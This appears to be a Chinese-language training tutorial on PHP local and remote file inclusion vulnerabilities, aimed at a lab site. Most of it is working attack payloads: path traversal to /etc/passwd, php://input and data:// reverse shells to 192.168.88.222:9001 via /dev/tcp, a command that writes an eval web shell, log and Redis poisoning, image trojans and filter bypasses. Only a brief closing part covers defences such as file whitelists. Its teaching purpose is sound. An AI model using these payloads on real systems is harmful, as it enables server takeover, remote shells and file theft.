文件包含漏洞概述
文件包含漏洞(File Inclusion Vulnerability)属于代码注入漏洞,为了减少重复代码的编写,引入了文件包含函数,通过文件包含函数将文件包含进来,直接使用包含文件的代码;简单来说就是一个文件里面包含另外一个或多个文件。
但我们除了包含常规的代码文件外,包含的任意后缀文件都会被当作代码执行,因此,如果有允许用户控制包含文件路径的点,那么则很有可能包含非预期文件,从而执行非预期的代码导致getshell。
文件包含业务场景
- 在代码复用时场景,经常使用到文件包含技术;
- 项目需要热更新的场景也可以使用文件包含技术;
- 在编写一些框架代码时会使用到文件包含技术;
文件包含漏洞分类
PHP中的文件包含分为本地文件包含和远程文件包含。
本地文件包含 LFI
本地文件包含 Local File Include (LFI) 所包含文件内容符合PHP语法规范,任何扩展名都可以被PHP解析。
无论是什么类型的文件,只要其中含有合法PHP代码,PHP就可以包含并执行,如果没有,就会以纯文本形式显示文件中的内容;
远程文件包含 RFI
远程文件包含 Remote File Include (RFI) 远程包含与本地包含没有区别,无非是支持远程加载,更容易getshell,无论是哪种扩展名,只要遵循PHP语法规范,PHP解析器就会对其解析。
PHP文件相关配置
需要修改/opt/lampp/etc/php.ini,注意需要重启lampp服务器
allow_url_fopen=On (默认开启) 本地包含
allow_url_include=On (默认为Off) 远程包含
文件包含漏洞危害
- 文件上传漏洞最直接的威胁就是上传任意文件,包括恶意脚本、可执行程序等
- 如果Web 服务器所保存上传文件的可写目录具有执行权限,那么就可以直接上传后门文件,导致网站沦陷。
- 如果攻击者通过其他漏洞进行提权操纵,拿到系统管理权限,那么直接导致服务器沦陷。
- 同服务器下的其他网站无一幸免,均会被攻击者控制。
常用文件包含
本地文件包含 - 其他文件
http://www.dlrb.com/news/admin/home.php?page=/etc/passwd
http://www.dlrb.com/news/admin/home.php?page=/opt/lampp/htdocs/news/upload/sys.jpg
http://www.dlrb.com/news/admin/home.php?page=/opt/lampp/htdocs/news/upload/sys.txt
目录穿越
http://www.dlrb.com/news/admin/home.php?page=../../../../../../../../../../etc/passwd
本地包含 - 传递参数
本地包含传递参数需要使用&来传递
https://www.dlrb.com/news/admin/home.php?page=/opt/lampp/htdocs/news/upload/abc.php&cmd=phpinfo();
http://www.dlrb.com/news/admin/home.php?page=/opt/lampp/htdocs/news/upload/abc.txt&cmd=phpinfo();
http://www.dlrb.com/news/admin/home.php?cmd=phpinfo();&page=/opt/lampp/htdocs/news/upload/abc.txt
远程包含 - PHP文件
PHP文件包含比较特殊,是先在攻击者服务器执行完毕将其结果包含
https://www.dlrb.com/news/admin/home.php?page=http://www.wowo.com/woniu/phpinfo.php
远程包含 - 其他文件
其他文件是将其他文件中的文本拿到靶机上解析运行
https://www.dlrb.com/news/admin/home.php?page=http://www.wowo.com/woniu/phpinfo.txt
https://www.dlrb.com/news/admin/home.php?page=http://www.wowo.com/woniu/shell.jpg
远程包含 - 传递参数
远程PHP文件携带参数时必须使用?来传递参数,其他文件需要使用&来传递参数
https://www.dlrb.com/news/admin/home.php?page=http://www.wowo.com/woniu/phpinfo.txt&cmd=phpinfo();
https://www.dlrb.com/news/admin/home.php?page=http://www.wowo.com/woniu/phpinfo.php?cmd=phpinfo();
文件包含的高级利用
伪协议
PHP伪协议是指可以通过 PHP 脚本来访问的协议,它允许通过 PHP 脚本来处理数据流,而不是通过文件系统去访问真实的文件。这种协议常常用于处理内存中的数据或者其他来源的数据流。
file : 本地文件
http : 远程文件
ftp : ftp服务器上的文件
input: 只读流
php : 输入输出流
zlib : 压缩流
data : 数据流
glob : 查找匹配的文件路径模式
phar : php归档
ssh2 : Secure Shell 2
rar : RAR压缩
ogg : 音频流
expect : 处理交互式的流
伪协议使用
php://input
php://input 可以访问请求的原始数据的只读流,将POST请求的数据当作PHP代码执行。 前提:需要开启allow_url_include=On,allow_url_fopen
payload
http://www.dlrb.com/news/admin/home.php?page=php://input
POST DATA
<?php phpinfo();?>
<?php echo `bash -i >& /dev/tcp/192.168.88.222/9001 0>&1`; ?>
<?php echo system("bash -i >& /dev/tcp/192.168.88.222/9001 0>&1"); ?>
<?php shell_exec("bash -i >& /dev/tcp/192.168.88.222/9001 0>&1"); ?>
php://filter
php://filter 可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码(base64)让其不执行。从而导致任意文件读取。
前提:只是读取,所以只需要开启allow_url_fopen,对allow_url_include 不做要求。
http://www.dlrb.com/news/admin/home.php?page=php://filter/convert.base64-encode/resource=/etc/passwd
http://www.dlrb.com/news/admin/home.php?page=php://filter/convert.base64-encode/resource=home.php
http://www.dlrb.com/news/admin/home.php?page=php://filter/read=convert.base64-encode/resource=home.php
zip://
zip://可以访问压缩文件中的文件,且只能读取第一层文件夹下文件,并把读取后的内容进行解析。如果文件内容中包含php代码则会执行该php代码。
前提:使用zip协议,需要使用绝对路径,需要#把压缩文件路径和压缩文件的子文件名隔开,并且要将#编码为%23,所以需要PHP的版本>=5.3.0,要是因为版本的问题无法将#编码成%23,可以手动把#改成%23
zip -r abc.zip abc.txt
payload
http://www.dlrb.com/news/admin/home.php?page=zip:///opt/lampp/htdocs/news/upload/abc.zip%23abc.txt
phar://
与zip://协议类似但用法不同,zip://伪协议中是用#把压缩文件路径和压缩文件的子文件名隔开,而phar://伪协议中是用 / 把压缩文件路径和压缩文件的子文件名隔开。
前提:PHP的版本>=5.3.0
payload
http://www.dlrb.com/news/admin/home.php?page=phar:///opt/lampp/htdocs/news/upload/abc.zip/abc/abc.txt
data://
data://伪协议和php伪协议的input类似,也可以将用户输入的内容直接显示在页面中。并且输入的内容中包含php代码的情况,php代码会被执行。
前提:PHP的版本>=5.2,并且allow_url_fopen参数与allow_url_include都需开启
payload
http://www.dlrb.com/news/admin/home.php?page=data://,<?php phpinfo();?>
http://www.dlrb.com/news/admin/home.php?page=data:text/plan,文件包含成功<?php phpinfo();?>
shell反弹
http://www.dlrb.com/news/admin/home.php?page=data:text/plan,反弹成功<?php system('bash -i >& /dev/tcp/192.168.88.222/9001 0>&1') ?>
注意 & 需要编码 不然理解为传参 & -> %26
getshell
http://www.dlrb.com/news/admin/home.php?page=data:text/plan,/opt/lampp/htdocs/news/upload/sys.php文件写入成功<?php file_put_contents("/opt/lampp/htdocs/news/upload/sys.php",'<?php @eval(@$_POST["cmd"]);?>');?>
file://
file://用于访问本地文件系统,且不受allow_url_fopen与allow_url_include的影响。
前提:包含的文件要文件的绝对路径
payload
http://www.dlrb.com/news/admin/home.php?page=file:///etc/passwd
文件包含灵活应用
文件包含灵活应用的点 LFI
日志文件往往会包含我们的请求记录,如果我们知道日志的文件位置,那么我们就可以将恶意的PHP代码写入到日志中,然后再通过文件包含漏洞就可以执行相关的代码。ssh apache mysql tomcat 。。。
SSH日志应用
使用ssh连接ip地址将恶意代码注入日志中,然后可包含该日志文件。 默认情况下为/var/log/secure,注意需要给该文件添加权限
1. 攻击主机使用恶意PHP代码当做登录账户登录靶机
ssh " <?php phpinfo();?> "@IP地址
或者
ssh IP地址 -l " <?php phpinfo();?> "
payload
http://www.dlrb.com/news/admin/home.php?page=file:////var/log/secure
Apache日志应用
很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access_log,当发生错误时将错误写入error_log。默认情况下,日志保存路径在 /opt/lampp/logs,日志文件需要授予读取权限
1. 开启Burp拦截
2. 访问中携带 <?php phpinfo();?>
http://www.dlrb.com/news/admin/home.php?page=<?php phpinfo();?>
3. Burp 抓包 将转码的 < > 空格 强制修改为原来的 %3C?php%20phpinfo();?%3E
4. access_log就会被写入我们的请求
5. payload
http://www.dlrb.com/news/admin/home.php?page=file:////opt/lampp/logs/access_log
MySQL日志应用
前提:my.ini 中开启日志,日志保存路径在 /opt/lampp/logs,日志文件 mysql.log,日志文件需要授予读取权限
1. 找到登录 注册 等用户可以参与输入的点
2. 我们想让他报错 不容易,想成功很容易
3. username "<?php phpinfo();?>" password "123123"
select * from users where username = "<?php phpinfo();?>" and password="123123";
4. 只要成功表示我们的恶意代码注入成功
5. payload
http://www.dlrb.com/news/admin/home.php?page=file:////opt/lampp/logs/mysql.log
Redis持久化文件应用
需要连接到靶机的Redis,可以对他进行持久化修改,指定目录有写入权限
1. 连接靶机的 Redis
2. 确定其持久化文件目录 如果你有读的权限就不需要改 建议修改 /tmp
config get dir 查看
config set dir /tmp
3. 查看 持久化文件名称 dump.rdb 不建议修改
config get dbfilename 查看
config set dbfilename rd.rdb
4. 设置键值对
set hacker " <?php phpinfo();?> "
5. 进行redis持久化
save
6. payload
http://www.dlrb.com/news/admin/home.php?page=file:////tmp/dump.rdb
图片木马应用
一般情况下在业务系统中都会有图片上传功能,我们利用图片上传功能将图片马上传到目标服务器即可。例:头像上传、导入数据、上传banner、上传商品图片等等。
图片上传后通过php报错可以拿到apache的绝对路径,而图片上传成功后一般会回示这张图片可以拿到图片的相对路径,拿到的绝对路径和图片相对路径拼接在一起变成图片的绝对路径。从而使用文件包含来利用图片马。
1. 制作图片木马
Widnows: copy /b 图片文件.png + 木马文件.php
Linux: cat 木马文件.php >> 图片文件.png
2. 制作的图片可能不被识别 里面包含了很多很多很多乱七八糟的代码 有可能就被PHP所识别且报错
3. 建议直接修改一句话木马的扩展名
4. payload
http://www.dlrb.com/news/admin/home.php?page=/opt/lampp/htdocs/news/upload/abc.jpg
Post data
cmd=phpinfo();
文件包含防御与绕过
限制访问路径
绕过
payload1 悖论
系统级别的命令 无法拦截
shell_exec exec system `` 不受影响
payload2
symlink() 函数创建一个从指定名称连接的现存目标文件开始的符号连接
步骤一 攻击者服务器创建 sys.txt 文件 并写入代码
symlink("A/B/C/D/E/F","dlrb");
symlink("dlrb/../../../../../../etc/passwd","exp");
unlink("dlrb");
mkdir("dlrb");
步骤二 靶机文件包含
http://www.dlrb.com/woniu/test.php?file=http://192.168.88.166/dlrb/sys.txt
步骤三 靶机访问目录穿透文件
http://www.dlrb.com/woniu/exp
注意
pyload2构造的注意点是:要读的文件需要往前跨多少路径,就得创建多少层的子目录。然后输入多少个 ../来设置目标文件。
过滤输入
过滤.(点)/(正斜杠)\(反斜杠)等特殊字符,禁止目录跳转字符如../。
1. ./ 替换为空
..//..//..//..// ././././
2. 编码绕过
./ 的编码为:%2e%2f
../ 的编码为:%2e%2e%2f
..\ 的编码为:%2e%2e%5c
配置前缀
使用文件绝对路径进行拼接过滤
include "/opt/lampp/htdocs/fanyun/" . $file;
payload
http://www.dlrb.com/woniu/test.php?file=../../../../../../../../../../../../etc/passwd
配置后缀
使用文件后缀作为过滤
加后缀:include $file . ".jpg";
payload
首先你需要熟知 后缀名
1. 想加载的文件扩展名与配置的一致
http://www.dlrb.com/woniu/test.php?file=http://192.168.88.166/dlrb/sys
2. 不一致 远程绕过 把后缀当做参数 利用 & 或者 ?
http://www.dlrb.com/woniu/test.php?file=http://192.168.88.166/dlrb/sys.txt?a=1
3. phar绕过
http://www.dlrb.com/woniu/test.php?file=phar:///opt/lampp/htdocs/woniu/aaa.zip/abc
配置前缀 + 后缀
使用文件绝对路径 + 文件后缀作为过滤
include "/opt/lampp/htdocs/woniu/" . $file . ".jpg";
payload 上传指定图片马
http://www.dlrb.com/woniu/test.php?file=shell
拼接 /opt/lampp/htdocs/woniu/shell.jpg
防御建议
关闭高危配置
PHP文件配置allow_url_include和allow_url_fopen最小权限化。
文件白名单
对需要包含的文件设置文件白名单,包含文件的验证。
$file = @$_GET["file"];
$file_w = ['abc','shell','index'];
if(in_array($file,$file_w)){
include "/opt/lampp/htdocs/woniu/" . $file . ".jpg";
}else {
echo "包含文件不正确";
}
避免参数
尽量不要使用动态包含,可以在需要包含的页面固定写好。